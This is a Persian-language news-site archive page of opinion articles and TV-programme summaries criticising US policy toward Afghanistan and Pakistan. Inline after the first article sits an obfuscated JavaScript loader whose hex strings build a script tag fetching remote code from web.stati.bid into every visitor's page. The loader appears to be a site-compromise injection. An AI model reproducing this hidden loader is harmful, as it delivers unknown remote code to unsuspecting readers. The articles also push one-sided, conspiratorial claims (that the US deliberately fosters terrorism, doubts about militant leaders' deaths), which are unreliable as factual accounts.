خانه «=« آرشیو برچسب: آمریکا

آرشیو برچسب: آمریکا

آمریکا با پولی که می دهد خون مردم را می ریزد

حمله های اخیر هراس افکنانه در کابل پای مقام های بلندپایه امنیتی را به اسلام آباد کشانید. وزیر داخله و رییس عمومی امنیت ملی سندهایی را با خودشان به پاکستان بردند که نشان می دهند این حمله ها از پاکستان سازمان دهی شده اند. هرچند برخی از کارشناسان انتقاد می کنند که به جای رفتن به پاکستان این سندها به شورای امنیت سازمان ملل متحد سپرده می شود اما وزیر داخله می گوید که اگر پاکستان در این زمینه کاری نکند حکومت افغانستان باید به شورای امنیت سازمان ملل متحد شکایت خواهد کرد. پاکستان در برابر این مدارک و شواهد چگونه واکنشی نشان خواهد داد؟

غلام محمد محمدی، نویسنده و استاد دانشگاه در برنامه «فراخبر» گفت: مشکل افغانستان با این رفت و آمد ها و با این اسناد حل نمی شود و با این کارها پاکستان اعتراف نمی کند که این تروریست ها را ما فرستاده ایم. این دو کشور هفتاد سال است که اختلاف دارند و اختلاف شان بسیار عمیق است. یعنی باید اینطور تصور کنیم که این ساختمان خراب است. یعنی باید از دوباره خراب شود و دوباره درست شود و رهبران حکومت ما می خواهند این ساختمان را رنگ کنند. باید گفت که با این رفت و آمدها مشکلات میان این دو کشور حل نخواهد شد.

وی، در ارتباط با علت نیامدن صلح در افغانستان می گوید: مشکل ما این است که ما همیشه دولت های مردمی و ملی مقتدر نداشتیم. فقط دولت های ملی می توانند مقتدر باشند. به این سبب اگر طرف های جنگ مستقل باشند کار صلح آسان می شود. اگر طرف های جنگ مستقل نباشند کلید جنگ به دست خارجی ها می باشد. به این سبب دولت افغانستان هم کلید جنگ به دستش نیست، کلید صلح هم به دستش نیست و هم طرف مقابلش که تروریستان می باشد کلید آنها هم به دست خارجی ها می باشد. به همین سبب آمدن صلح در افغانستان کار بسیار دشواری است.

محمدی، در ارتباط با با ارتباط هند و پاکستان در قضایای افغانستان می گوید: هند افغانستان و پاکستان سه کشوری هستند که یک مثلث شوم را تشکیل داده اند. هر گاه دولت افغانستان نیم قدم به طرف هندوستان بردارد پاکستان دو قدم برای مداخله در امور داخلی افغانستان قدم می گذارد به این سبب دولت افغانستان همیشه متکی به کشورهای خارجی بوده خصوصا در قضیه پاکستان و هند. وقتی با هند نزدیک شده و اعصاب پاکستانی ها را خراب می سازد. این مساله بسیار مهم است. دولت افغانستان یک سیاست ملی و مستقل نمی تواند بگیرد. مثلا دولت هندوستان مرزش را ششصد و چهل کیلومتر از دریای چناق تا راجستان سیم خاردار گرفته و سیم خاردار دو جداره به برق وصل اما هفتاد سال است از دولت افغانستان حمایت می کند تا مرز دیورند بسته باشد. در کشور ما تا هنوز اراده برای صلح وجود ندار چرا که دو طرف جنگ مستقل نیستند.

این استاد دانشگاه، در خصوص نتیجه ارایه مدارک به پاکستان می گوید: سفرهای زیادی به پاکستان صورت گرفته است فقط کرزی بیست به بار به پاکستان سفر کرده بود. در گذشته ها هم اسناد و مدارک را دولت های افغانستان و پاکستان ارایه کردند. سال ۹۳ و ۹۴ یک سری جنجال ها ارایه شد. این اسناد را پاکستان به هیچ وجه قبول نمی کند. اگر خیلی سطحی فکر کنیم که پاکستان این اسناد را بپذیرد به این معنی خواهد بود که پاکستان عامل این کشت و کشتارها در افغانستان است که پاکستان به هیچ وجه چنین چیزی را نمی پذیرد و می گوید طالبان و تروریستان در داخل خاک خود افغانستان است و همانطور که در گذشته می گفتند حالا هم می گویند که تقصیری نداریم.

محمدی، در ارتباط با آمریکا و اراده صلح آن می گوید: متاسفانه موضع آمریکایی ها هم در قبال طالبان و تروریست ثابت نیست. سال قبل می گفتند که طالبان دشمن ما محسوب نمی شوند. حالا می گویند که طالبان را می زنند و آنها را محو و نابود می کنند. مساله مرز دیورند مساله مهم بین افغانستان و پاکستان است و نظر من این است که آمریکا با همین پولی که به افغانستان می دهد با همین میلیاردها پولی که مصرف کرده است خون مردم را می ریزد. به این ترتیب که این پول ها را برای ریختن خون مردم صرف می کند. var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

آمریکا با حمایت از پاکستان ادعای بیهوده مبارزه دارد

هیات پاکستانی برای مذاکره با مقام های افغانستان وارد کابل شد. هرچند نمایندگان پاکستانی از جمله سران و رجال برجسته سیاسی پاکستان نیستند اما می توانند نماینده رسمی دولت پاکستان به حساب آیند.
در همین حال، با اعلام استراتژی جدید آمریکا و عملی نبودن وعدم کارایی و بیهوده بودن آن برای افغانستان، بسیاری از نخبگان سیاسی کشور، انتقادات خود را علیه آن ابراز می کنند. اسپنتا وزیر خارجه پیشین کشور نیز در انتقادات خود ازآن، استراتژی جدید آمریکا را همراه با اشتباهات فراوان قلمداد می کندو می گوید که آمریکا در شانزده سال گذشته نزدیک به سی و پنج میلیارد دالر به پاکستان پول داد و پاکستان را همکار استراتژیک تلقی کرد و این استراتژی غلط موجب زیان های زیادی برای افغانستان شد.

داکتر رنگین دادفر اسپنتا وزیرخارجه پیشین در برنامه «اوج» در خصوص موضع گیری خود در مقابل آمریکا و در مورد موضع حامد کرزی در قبال آمریکا می گوید: کرزی رییس جمهور افغانستان بوده و سالیان زیادی کشور را رهبری کرده است اما رویکرد من در قبال آمریکا و سیاست های بین المللی با کمال احترام نسبت به کرزی در مواردی متفاوت است.

وی، اعتقاد دارد که استراتژی مبارزه با تروریزم در شرق میانه بزرگ، یک استراتژی است که شکست خورده است و افزود: اما این بخشی از توطیه نمی تواند باشد. بلکه بخشی از یک استراتژی نارسا است که به دلیل ساختارهای متفاوت در دنیای متفاوت در دنیایی که دیگر آمریکا یگانه قدرت برتر نیست به وجود آمده است. آمریکا با تدوین چنین استراتژی هایی از جمله مداخله در عراق، سوریه و مبارزه با القاعده و مبارزه با داعش و کلا تضعیف دولت های ملی در این منطقه و همچنین در نحوه مبارزه با تروریزم در افغانستان به دلیل عدم پیگیری و مبارزه با تعلیم گاه ها که پاکستان باشد و کلا سیاست مبارزه با تروریزم شکست خورده است. استراتژی غلط است. استراتژی باید تصحیح شود.

اسپنتا، اظهار می دارد که سیاست ها و برنامه های آمریکا در افغانستان با شکست مواجه شده است و افزود: حق حکومت افغانستان است که چنین انتخابی داشته باشد و حق ما است که با تکیه به حقیقت ها بگوییم استراتژی دچار اشکالات است. من معتقدم هستم که با آمریکا باید گفتگو و صحبت کرد تا استراتژی خود را اصلاح کند. آنچه که مربوط به افغانستان می شود. ما برنامه ریزی کرده بودیم که تا سال ۲۰۱۴ یک افغانستان با ثبات و متکی به خود رابسازیم. طوریکه حکومت افغانستان مبارزه با تروریزم را به یک وظیفه و پالسی تغییر دهد. اما واقعیت این است که بخش های مهمی از سرزمین افغانستان در کنترل تروریست ها و طالبان است. واقعیت این است که قانون اساسی ما در ارکان اصلی در حالت ثابت نیست بلکه به حالت تعلیق در آورده شده است. واقعیت این است که نهادهای اساسی ما مثل ریاست جمهوری، پارلمان و هرچه که از این دو نهاد ناشی شود، مشروعیت دموکراتیک و مشروعیت برخواسته از انتخابات دموکراتیک را ندارد. باید بگوییم که ما به آنچه که آرزو داشتیم نرسیدیم. یعنی این سیاست به پیروزی منجر نشده است و ما باید کوشش کنیم که سیاست را درست و اصلاح کنیم و وقتی می توانیم پیروز شویم که با علت های مشکل مبارزه کنیم و نه با معلول ها.

وزیر خارجه پیشین معتقد است تا بحال آمریکا با خاستگاه اصلی تروریزم یعنی پاکستان هیچ مقابله ای نکرده است و گفت: حکومت افغانستان در طول و عرض سیاست خارجی خود به بیراهه می رود. ما شانزده سال قاطع و پیگیر مبارزه کردیم و تلاش کردیم تا آمریکا پاکستان را به عنوان بخشی از مشکل بشناسد اما آمریکایی ها همیشه پاکستان را بخشی از راه حل معرفی می کردند.در حالیکه پاکستان منبع و خاستگاه اصلی تروریزم بود و امروز هم چنین است. حال در استراتژی جدید کمبودهای فراوان وجود دارد. شناسایی مشکل در پاکستان از سه ماه قبل از اعلام استراتژی شروع شده بود. اما تا کنون هیچ اقدام عملی علیه خاستگاه ها صورت نگرفته است. جوبایدن، در یکی از جلسه ها بر سر میز شام به رییس جمهور افغانستان در حضور تعداد زیادی از وزرای افغانستان گفت که پاکستان برای ما پنجاه برابر بیشتر از افغانستان اهمیت دارد و برمیز کوبید و از سر میز شام بلند شد و وزاری افغانستان هرگز این بی حرمتی را از یاد نبردیم.

وی، جدا پاکستان را خطرناک برای افغانستان تلقی کرده و آمریکا را بخاطر حمایت از این کشور مورد انتقاد شدید قرار می دهد و می گوید: تمام آن عده از جنرالانی که در تعیین استراتژی پاکستان در سال های گذشته و مسلح ساختن و مجهز ساختن طالبان و القاعده و دیگران دست داشتندباید در لیست تحریم های بین المللی قرار بگیرند و پاکستان به عنوان کشور حامی تروریست جدا به لیست سیاه گرفته شود و مورد تحریم قرار بگیرد. دیپلمات های پاکستانی که در هفده سال گذشته در عرصه مبارزه با تروریزم در هفده سال گذشته همکاری نکرده اند در لیست سیاه قرار داده شوند. بایدتحریم های اقتصادی علیه پاکستان به عنوان یک تدبیر صلح آمیز برای رسیدن مورد بحث و گفتگوی جدی قرار بگیرد. مشخصا طرفدار نظامی گری و تنهایی در افغانستان نیستم و معتقد هستم که باید با طالبان و تروریستان و آنانی که می خواهند افغانستان را به سال های پیش از ۲۰۰۲ برگردانند، مبارزه صورت بگیرد و چنین مبارزه ای هم سیاسی و هم نظامی است و هم با ابزار دیگر. اما برای رسیدن به پیروزی، باید حامیان تروریزم پاداش نبینند. حامیان تروریزم باید مجازات شوند. آمریکا در شانزده سال گذشته نزدیک به سی و پنج میلیارد دالر به پاکستان پول داد و پاکستان را همکار استراتژیک تلقی کرد و این استراتژی غلط موجب زیان های زیادی برای افغانستان شد.

وی، مبارزه قاطع با پرورش تروریست در پاکستان را از وظایف آمریکا می داند و می گوید: یادمان باشد که اگر با پاکستان مبارزه قاطع صورت نگیرد ما نمی توانیم این جنگ را ببریم. اگر آمریکایی ها با جایی که تروریست ها را تعلیم می دهند، جایی که به آنها اسلحه می دهند، جایی که رهبری ایدویولوژیک آنها یعنی آی اس آی قرار دارد مبارزه نکند و فقط با افراد عادی که علیه حکومت افغانستان می جنگند و طالبان عادی و درجه پایینی که به هر دلیل جنگ می کنند، یا به دلیل نبودن کار یا به دلیل عقده ها که به حکومت افغانستان ضدیت دارند و با دستاوردهای پانزده سال آخر ضدیت دارند، با اینها مبارزه کنند، پیروز نمی شوند. پس ادعای بیهوده است که می گویند با تروریزم مبارزه می کنیم. آنها باید عناصر سرسخت اصلاح ناپذیر جنگ طلب و افراطی را خنثی بسازند و این ممکن نیست مگر اینکه فشار گسترده و همه جانبه بر پاکستان و آی اس آی وارد شود.

بهبود وضیعت اقتصادی شرط نجات افغانستان از بحران کنونی

مقام های روسی می گویند بهبود اقتصاد و عملی شدن پروژه‎های مشترک در افغانستان می‎تواند این کشور را از مشکلات امنیتی که اکنون با آن رو به رو است بیرون کند. نیکولای پاتروشیف رئیس شورای امنیت روسیه در گفت و گو با یک روزنامه روسی گفته‎است، راهکارهای اقتصادی می‎توانند در جلوگیری از گسترش تروریزم موثر ثابت شوند.
رئیس شورای امنیت روسیه از گفت و گوها میان ادارات امنیتی دو کشور در این مورد و بحث‎های خودش با رئیس جمهور غنی در زمینه نیز یادآور شده‎است.
به گفته وی کشورش در حال حاضر در بخش‎های انرژی، زراعت، تکنالوژی نظامی و دیگر سکتورها با افغانستان روابط اقتصادی دارد و در حال حاضر حدود ۳۰ شرکت آماده سرمایه گذاری در افغانستان اند.
این اظهارات در حالی مطرح شده‎اند که اطاق های تجارت و صنایع افغانستان می‎گوید، روابط اقتصادی میان افغانستان و روسیه نسبت به گذشته‎ها پررنگ نیست.
پاتروشیف بهبود وضع اقتصادی افغانستان، کاهش میزان بیکاری مردم و بلند بردن سطح دانش را عناصر اساسی در تامین صلح و ثبات در افغانستان خوانده است.

حکمتیار از ترکیه تا عربستان

به گزارش شبکه اطلاع رسانی افغانستان (afghanpaper)، افغانستان جدای از اینکه بر اساس قوانین نانوشته رهبران پشت پرده سیاست و حامیان خارجی اداره و رییس جمهوری از دل قومیت پشتون مستحق حاکمیت تعیین می شود در سفرهای برون مرزی مقام های خارج از دایره دولت نیز بی مانند می باشد.

اگر کرزی در سه سال دوری از قدرت همچنان پرحاشیه در سفرهای خارجی می باشد، گلبدین حکمتیار نیز جدای از سخنان قومیتی و ابراز افکار افراط گرایانه اکنون سفرهای برون مرزی خود را آغاز کرده اما نکته قابل تامل، رفتن به ترکیه است.

اینکه چرا ترکیه مقصد اول رهبر حزب اسلامی متهم به نقض حقوق بشر است را باید در رویداهای سیاسی درون حکومتی جستجو کرد زیرا همچنان که این کشور مامنی برای جنرال دوستم به دور مانده از قدرت می باشد برای حکمتیار نیز می تواند نقظه عطفی برای حمایت های خارجی شود.

حکمتیار و اردوغان از گذشته های دور در ارتباط بوده اند اما سیاست نفاق برانگیز رهبر حزب اسلامی و نبرد با هر جریان و حکومت داخلی سبب شده که سال ها زندگی پنهانی در کشورهای منطقه ای به مانند پاکستان، ایران و ترکیه داشته باشد.

اینکه بنا به خبر یکی از رسانه های ترکیه، حکمیتار قبل از توافقنامه صلح برای درمان در این کشور حضور داشته که از سوی حزب سلامی رد شد، روابط عمیق تر از درمان می باشد، حضور دشمن دیرینه ای چون جنرال دوستم در تبیعد و از رهبران جناح مخالف ارگ می تواند مهم ترین دلیل برای چنین سفری باشد.

حکمتیار که خیال تصاحب حکومت در سر دارد ابتدا باید از سد دشمنانی دیرینه اما قدرتمند همچون جنرال دوستم و عطا محمد نور بگذر و اینگونه به نظر می رسد که وجود معاون اول ریاست جمهوری حتی در تبعید آزاردهنده تر از مخالفانی است در درون کشور.

از سوی دیگر، انزوا و زندگی پنهانی وی به مدت بیست سال سبب چند شاخه شدن حزب اسلامی شده است که پس از توافقنامه صلح به خوبی نمایان می باشد تا آنجا که در نشست این حزب برخی از چهره های مهم همچون ارغندیوال شرکت نکرده بود.

در این میان، حکمتیار که مشروعیت قانونی و قدرت یابی دوباره را مدیون تلاش های غنی و تیم کوچک ارگ است هم راستا با اهداف قبیله گرانه حکومت در پی از میان بردن چهره های مخالف می باشد و به طور حتم در سفر به ترکیه برای جلب حمایت اردوغان تمامی تلاش های خود را هزینه خواهد کرد تا امن ترین پناهگاه جنرال دوستم را نیز به ناامنی کشاند.

حکمتیار پس از ترکیه در سفر به عربستان در پی تحکیم پایه های رهبری در حزب اسلامی می باشد تا در بیعتی دیگر با حامی و تمویل کننده سابق این حزب، هم نفوذ وهابیت در افغانستان را گسترش دهد و هم از الطاف کلان ریاض دگرباره مستفیذ شود.

در همین راستا، اگر در گذشته رهبری دینی می توانست سکوی پرتاب قدرت افرادی چون حکمتیار در رهبری باشد اما اکنون در تغییرات گسترده سیاسی، حمایت های خارجی و قدرت نظامی از دلایل اصلی قدرت و تقابل با رقا در افغانستان می باشد.

و هرچند وی همچون کرزی که گذشته ای در جنگ های داخلی و عملکرد تروریستی ندارد نمی تواند آزادانه به آزمون و خطای روابط با غرب و کشورهای منطقه ای بپردازد اما همین دایره کوچک از حامیان گذشته که پشتیبان گروه های تروریستی نیز بوده و هستند می تونند برای وی بدل به قدرت شود.

رهبر حزب اسلامی که در جامعه افغانستان به دلیل دست داشتن در جنگ های داخلی و کشتارهای گسترده مورد تنفر است و در میان برخی اقوام پشتون به مانند جهادگری قدیس با در اختیار داشتن حزبی که توان نظامی دارد در حال تبدیل شدن به قدرتمند سیاسی می باشد.

و همچنان که فضا برای عطا محمد، جنرال دوستم و محقق تنگ تر می شود باید بیش از گذشته در اتحاد یکدیگر سدی برای تقابل با سلطه گری ارگ و حواریون آن شوند و در این راستا، جذب حمایت های خارجی و همبستگی درونی می تواند تنها راه پیش رو باشد.

حکمتیار با سخنرانی های به تکرار که خلاصه در قوم گرایی و افراط گری دارد همان رهبر نفاق برانداز سال های جنگ می باشد که اگر بار دیگر از قدرت و حمایت خارجی برخوردار شود، ویران کنندتر از قبل عمل می کند و تروریست تر از طالب و داعش.

سفر به ترکیه زنگ خطر است که برای جنرال دوستم که ترکیه را حامی بزرگ قوم ازبک می داند و تنها مامن برای روزهای مبادا و نشان می دهد که اشرف غنی جز حذف کامل، هیچ راهی را برای مخالفان خود باقی نمی ماند و خطر مقام های دورن حکومتی غیر پشتون را بسیار بزرگتر از عمق کشتار و نفوذ تروریستان می داند.

استراتژی با لایه های تروریست پروری

استراتژی جدید امریکا در قبال افغانستان پس از ماه ها انتظار توسط رییس جمهور این کشور با رویکردی انتقادی از پاکستان و هند نوازی اریه شد که واکنش های مختلفی را در پی داشت، ترامپ در گذشته از نگاه منطقه ای در افغانستان گفته بود و نشان داد که امریکا خیال خروج از افغانستان را ندارد.

هرچند خطاب قرار داردن پاکستان به عنوان مامن تروریست ها از سوی بلندپایه ترین مقام امریکا به ظاهر موفقیتی برای دولتمردان کشور می باشد اما زمانی که جنگ ابزاری برای سیاست و در اختیار دولت هاست، دلخوش شدن به تغییر سیاست حمایتی امریکا از پاکستان تنها مربوط به حکومت وحدت ملی می باشد که با هر سخن و وعده به وجد می آید اما در واقعیت تنها در راستای کاهش فشار افکار عمومی است و همکاری های واشتگتن و اسلام آباد به مانند گذشته در جریان خواهد بود.

استقبال اشرف غنی از استراتژی جدید بیشتر معطوف به آن قسمت می شود که ترامپ با صراحت اعلام می کند که هیچ برنامه ای برای حمایت از دولت سازی و فساد حکومت افغانستان ندارد و به تعبیری ارگ همچنان زیر چتر حمایت امریکا با سود بردن از فساد، دست به انحصارطلبی و اختلاف های قومی برای ایجاد فضای خفقان تر می زند.

راهبرد جدید که بر تداوم حضور امریکا و همان سیاست گذشته تاکید می کند خبر از تداوم جنگ با ابعاد گسترده تر دارد که در آن گروه های تروریستی طالب در کنار داعش وسیله ای برای اهداف امریکا در منطقه به بقا ادامه می دهند و همچنان آغوش گرم پاکستان به روی آنان باز است.

در همین راستا، با وجود دشمنی دیرینه هند و پاکستان، نگاه ویژه رییس جمهور ترامپ به هند، بازی دیگر از سوی امریکاست تا خود را مبرا از حمایت های گروه های تروریستی و یا کشورهای تروریست پرور نشان دهد در حالی که اسلام آبادی بدون امریکا هیچ گاه نه توان و نه قدرت حمایت از گروه های تروریستی را نداشته و ندارد.

از جانب دیگر، این راهبرد تنها معطوف به نقش این دو کشور همسایه در جنگ و صلح افغانستان است اما بدون در نظر گرفتن قدرت های بزرگی که در مناسبات منطقه نقش تعیین کننده ای دارد به مانند روسیه، ایران و عربستان، امریکا نمی تواند با بی اعتنایی از استراتژی جدید در جنوب آسیا سخن براند.

اعزام نیروهای بیشتر امریکا به کشور که با چراغ سبز ترامپ عملی می شود نه در راستای نابودی گروه های تروریستی برای کاهش جنگ بلکه برای تامین امنیت منافع این کشور است، امریکا در جنوب آسیا به دنبال کسب اطیمنان از عدم استفاده از خاک افغانستان علیه این کشور و دست نیافتن گروه های تروریستی به تسلیحات هسته ای پاکستان و هند می باشد.

زمانیکه امریکا خود بخش اعظم چالش در افغانستان است و از گروه های تروریستی به عنوان ابزاری نیرومند سود می برد، هزاران استراتژی جدید از سوی رییس جمهوری های متفاوت تغییری در رویکرد منفعت جویانه این کشور ندارد و جنگ همچنان ادامه خواهد داشت. 

بدون جنگ و افراط گرایان، دیگر دلیلی برای حضور نظامیان و تداوم پایگاه های نظامی امریکا در کشور نمی باشد و یک حکومت با اقتدار با کشوری در صلح دیگر جایی برای یکه تازی های واشنگتن در منطقه نخواهد گذاشت.

ترامپ که در استراتژی جدید هیچ اشاره ای به فساد حکومت وحدت ملی نکرد و کمک ها را در زمینه های تسلیحاتی و نظامی بیان کرد از سیاست نهفته این کشور پرده برداشت که خواستار کشمکش های درون حکومتی و نظامی سست و از هم پاشیده می باشد تا زمینه برای جولان دادن گروه های تروریستی فراهم باشد.

افغانستان که در آتش تروریسم می سوزد و از حکومت گرفته تا حمایت پاکستان و دالر های امریکایی به سرزمین ظهور افراط گرایان، حال با هر نامی بدل شده است تا بازیگران جهان و منطقه به اهداف منفعت جویانه خود برسد و در این میان اگر پاکستان اکنون مورد اتهام ترامپ قرار گرفته و هند تبدیل به فرشته نجات برای پوشاندن سیاست سیاه واشنگتن است: حمایت و قدرت بخشیدن به افراط گرایان تا جهان را زیر سلطه قرار دهد.

قیوم کوچی: برای ثبات و صلح در افغانستان به امریکا نیاز نیست

 

سفیر افغانستان در روسیه اعلام کرده است که کابل برای تحقق ثبات ومبارزه با گروه‌های هراس‌افگن نیاز به کمک کشورهای خارجی به ویژه امریکا ندارد.
عبدالقیوم کوچی سفیر افغانستان در مسکو، پس از اعلام استراتژی امریکا در مورد افغانستان گفته است که کشورش برای تحقق صلح، ثبات و مبارزه با گروه های هراس افگن، نیاز به کشورهای خارجی چون روسیه امریکا و دیگر کشورهای غربی ندارد، سفیر افغانستان تصریح کرده است که نیروهای امنیتی و دفاعی افغان در حال حاضر از توانایی‌های بالای برخوردار اند و این نیروها می‌توانند با گروه‌های تروریستی مبارزه کنند.
به گفته او افغانستان از مدت‌ها به این‌سو خواستار بیرون شدن نظامیان خارجی از افغانستان بوده است،سفیر افغانستان در روسیه تأکید کرده‌ است که کابل می‌خواهد روابطش را با مسکو گسترش دهد، تا کنون حکومت وحدت ملی در مورد اظهارات سفیر افغانستان ابراز نظر نکرده است.
این اظهارات آقای کوچی درحالی مطرح می شود که واشنگتن هفته گذشته راهبرد تازه اش را در مورد افغانستان اعلام کرد و با استقبال رهبران حکومت وحدت ملی در کابل مواجه شد.

به یک بازی عبث توسط آمریکا مصروف شده ایم

آمریکا به عنوان کنشگر اصلی آغاز جنگ در افغانستان و بازیگری در منطقه خاورمیانه اعتراف به ناکامی کرده است. در این سال ها آمریکا چرا به نتیجه ای نرسیده اند و چرا حالا اعتراف به ناکامی خود کرده است؟ آیا این اعتراف برای هژمونی آمریکا مضر نیست؟

رحمت الله بیژن پور، آگاه مسایل سیاسی در برنامه «مثبت و منفی» گفت:من یک یادداشت به همراه خود دارم که شاید چندان دقیق نباشد اما در آن تابحال پنجاه بار تا بحال از شکست سخن گفته شده است و چهل و نه بار از پیروزی حرف زده شده است. این سخنان از زبان رییس جمهور، معاونان رییس جمهور، سناتوران ارشد، وزیر دفاع، وزیر خارجه معاونان شان، راجع به افغانستان سخن گفته اند. اینها پنجاه بار اعلام کرده اند که ما در جنگ افغانستان برنده نیستیم و شکست خورده ایم و چهل و نه بار گفته شده است که ما امیدهای زیادی داریم و برنده جنگ افغانستان هستیم. از زمان بوش تا کنون این بحث ها همچنان با همین شیوه بیان می شود. این معنایش این است که آنها به دنبال برندگی و بازندگی جنگ نیستند. آنها فقط این ادبیات را به کار می برند تا حداقل ما در حوزه بین المللی در نظام بین الملل به دنبال یک مساله باشیم که آمریکایی ها علیه تروریزم در یک جنگی بسیار تمام عیار مبارزه می کنند. در این میان یا نیکلسون برکنار می شود، یا جنرال دیگری پیش می آید، یا کسی دیگر می آید، اینها بحث هایی است که ربطی به مساله افغانستان ندارد. 

وی، ادامه داد: جنگ در افغانستان موضع و جبهه ندارد، رسمیت ندارد و اعلام شده نیست. شعار و شعور سیاسی و ملی خلق نکرد. جنگ در افغانستان در حقیقت جنگ علیه اکسیژن است معلوم نیست که ما علیه چه کسی جنگ می کنیم. به همین دلیل جنگی که علیه اکسیژن باشد برنده نیست. شما در فضا دارید جنگ می کنید. جنگ علیه کی؟ نه انگیزه ملی است، نه شعار ملی است، نه استراتژی است، نه پلان است و نه اینکه اردو در رابطه با آن انگیزه دارد. نه دشمن معرفی شده است و نه دوست معلوم است. آمریکایی ها هم سعی می کنند وضعیت را با همین ابهام پیش ببرند و این وضعیت وضعیت درستی نیست. بنابراین این مساله چیزی را تعیین نمی کند این اظهارات ترامپ هم فقط تاکیداتی است که از سوی مسوولان امنیتی گفته شده است که شما بگویید ما برنده نیستیم.

بیژن پور، در ارتباط با اعلام های پیروزی و شکست آمریکا بیان داشت: همین هژمونی است که آمریکا را به این مساله گرفتار کرده است. حتم دارم جمله ما پیروز می شویم برای پنجاهمین بار هم گفته خواهد شد و به مفهوم این است که پروژه بحران در افغانستان توسط این آقایان، یک سره به این طرف و آن طرف کشانده می شود تا ما با یک بازی عبث مصروف باشیم. بنابراین آمریکایی ها اعتقاد به نظام سازی افغانستان ندارند. در اوایل که آمده بودند و مسایل باز سازی مطرح شده بود و مساله استراتژی و توسعه و انکشاف و اینها همانگونه ماند.

این آگاه سیاسی معتقد است، ما به همین نسبت در عرصه نظام داری در افغانستان متاسفانه تعلیق هستیم و هیچ پیشرفتی نداریم و افزود: هر روز دچار بحران بیشتر می شویم. بنابراین آمریکایی ها تلاش شان این است که دیدگاه کشورهای حریف در منطقه را که روسیه و چین و هند و دیگران است، را به نحوی مشغول کند که بله ما داریم کم کم ناامید می شویم به خاطر اینکه شما کمک نکرده اید و این وضع پیشرفت نکرد.

وی، معتقد است آمریکا در منطقه و افغانستان فعالیت های نامعلومی دارد و هیچ جنبه ای از آن مشخص نیست و گفت: انصافا یکی از مسایلی که پروسه بحران و روند بحران است این است که هیچ چیز مشخصی از درون این وضعیت نه برای ملت افغانستان داده می شود نه برای منطقه، نه برای مردم دنیا. فقط هرازگاه این جمله ها گفته می شود که ما پیروز هستیم، ناکام هستیم هرازگاهی طیاره های هوایی می زند یک ماشینی را در سرحدات افغانستان منفجر می کند و اعلام می شود که فلانی را کشتیم. ریی الاقاعده را کشتیم، بن لادن را کشتیم، ملاعمر را کشتیم. در حالیکه ما جنازه هیچ کدام از آنها را ندیده ایم. چرا هیچ گزارشی از جنگ برای سازمان ملل وجود ندارد تا ما بدانیم جنگ بین المللی علیه تروریزم در حال پیشرفت است. 

بیژن پور، در ارتباط با اهداف نگاه داشتن جنگ در افغانستان بیان داشت: آمریکایی ها پنجاه سال در انتظار این بوده اند که چگونه در افغانستان تسلط داشته باشند و از اینجا با روسیه رقابت کنند و شانگهای را هم به نحوی مهار کنند و از رشد توسعه آنها جلوگیری کنند. این مساله برای آنها در افغانستان تامین شد. آمریکایی ها برای اینکه حریفان را هم اقناع کنند از حضورشان در افغانستان، مساله تروریزم، مساله تریاک، مساله آفات اجتماعی دیگر در منطقه و فعالیت های باندها، گروه ها و دسته های گوناگونی است که معلوم نیست که چه کسی خلق می کند و چه کسی حمایت اما معلوم است که آمریکایی ها این سرنخ را دارند یعنی اطلاعات خوبی در این مورد دارند که چقدر دیگر لازم است که اینها در افغانستان باشند هم برای مبارزه با بحران و هم رسیدن به آن مقاصد کلان انرژی بگذارند. پس یکی از نقاط اساسی استراتژی امنیتی آمریکا، مساله افغانستان است

آمریکا خواهان نا امنی در افغانستان است

در حالیکه اوضاع امنیتی سیاسی در داخل افغانستان در یک فرآیند پر فراز و فرود تشنج و ناهنجاری هایی را تجربه می کند، در بیرون اما وزرای دفاع کشورهای عضو ناتو به دور میزی گرد آمده اند و پیمان همکاری شان با افغانستان و نیروهای امنیتی، کشور را به روز کرده اند و قرار است هفت هزار نیروی دیگر به افغانستان بفرستند.
سید جواد حسینی، رییس حزب عدالت و توسعه در برنامه «آخر خط» گفت: اگر ما نگاهی مختصر به حضور نیروهای بین المللی مخصوصا آمریکا و ناتو در افغانستان بیندازیم، در هفده سال گذشته، متاسفانه در همان آغاز، سیاست های آمریکا و ناتو در افغانستان از شفافیت لازم برخوردار نبود. شما عملا دیدید که سیاست های حکومت افغانستان که طبعاً متاثر از سیاست های آمریکا و جهان بود و همچنین سیاست های جامعه بین الملی باعث حضور مجدد طالبان در افغانستان و قوت گرفتن این گروه های تروریستی در افغانستان شد. آمریکا حساس می کرد که جنگ در درون افغانستان و ناامنی در افغانستان را می تواند با مدیریت پاکستان پیش برد. پاکستان ناامنی را در افغانستان مدیریت می کرد و جامعه بین المللی در کنارش قرار داشت.

